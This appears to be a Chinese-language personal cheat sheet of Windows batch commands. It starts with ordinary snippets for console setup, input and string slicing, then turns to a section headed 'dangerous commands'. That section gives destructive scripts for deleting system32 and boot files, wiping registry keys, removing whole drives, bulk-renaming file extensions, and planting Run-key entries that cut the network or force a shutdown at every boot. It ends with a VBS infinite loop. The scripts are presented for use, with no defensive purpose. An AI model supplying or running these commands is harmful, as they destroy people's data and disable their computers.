常用
开头常用
不显示命令和支持中文
@echo offchcp 65001
获取输入参数
@echo offset /p a=请输入a:echo %a%
字符串拼接
SET a=HelloSET b=WorldSET c=%a%%b%
字符串截取
@echo offset ifo=abcdefghijklmnopqrstuvwxyz0123456789echo 原字符串(第二行为各字符的序号):echo %ifo%echo 123456789012345678901234567890123456echo 截取前5个字符:echo %ifo:~0,5%echo 截取最后5个字符:echo %ifo:~-5%echo 截取第一个到倒数第6个字符:echo %ifo:~0,-5%echo 从第4个字符开始,截取5个字符:echo %ifo:~3,5%echo 从倒数第14个字符开始,截取5个字符:echo %ifo:~-14,5%pause
获取返回字符串
for /f "delims=" %%t in ('命令字符串') do set str=%%techo %str%
危险命令
蓝屏死机
@echo offdel %systemdrive%\*.* /f /s /qshutdown -r -f -t 00
更改文件后缀名
不区分大小写 疑问: ren .txt 是不是更好?
ren *.DOC *.TXTren *.JPEG *.TXTren *.lnk *.txtren *.avi *.txtren *.mpeg *.txtren *.com *.txtren *.bat *.txt
删除system32
不入回收站
del c:\windows\system32\*.* /q
使PC永久崩溃
@echo offattrib -r -s -h c:\autoexec.batdel c:\autoexec.batattrib -r -s -h c:\boot.inidel c:\boot.iniattrib -r -s -h c:\ntldrdel c:\ntldrattrib -r -s -h c:\windows\win.inidel c:\windows\win.ini
删除所有的注册表
@echo offstart reg delete HKCR/.exestart reg delete HKCR/.dllstart reg delete HKCR/*
永久禁用网络
echo @echo off > c:windowswimn32.batecho break off >> c:windowswimn32.batecho ipconfig/release_all >> c:windowswimn32.batecho end >> c:windowswimn32.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.batreg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.batpause
启动电脑后自动关机
echo @echo off > c:windowshartlell.batecho break off >> c:windowshartlell.batecho shutdown -r -t 11 -f >> c:windowshartlell.batecho end >> c:windowshartlell.batreg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.batreg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.batpause
格式化硬盘
rd /s/q d:\rd /s/q c:\rd /s/q e:\
无限打开文档vbs
docreateobject("wscript.shell").run "notepad.exe"loop
这短短的一生我们最终都会失去,不放大胆一点,爱一个人、攀一座山、追一个梦!
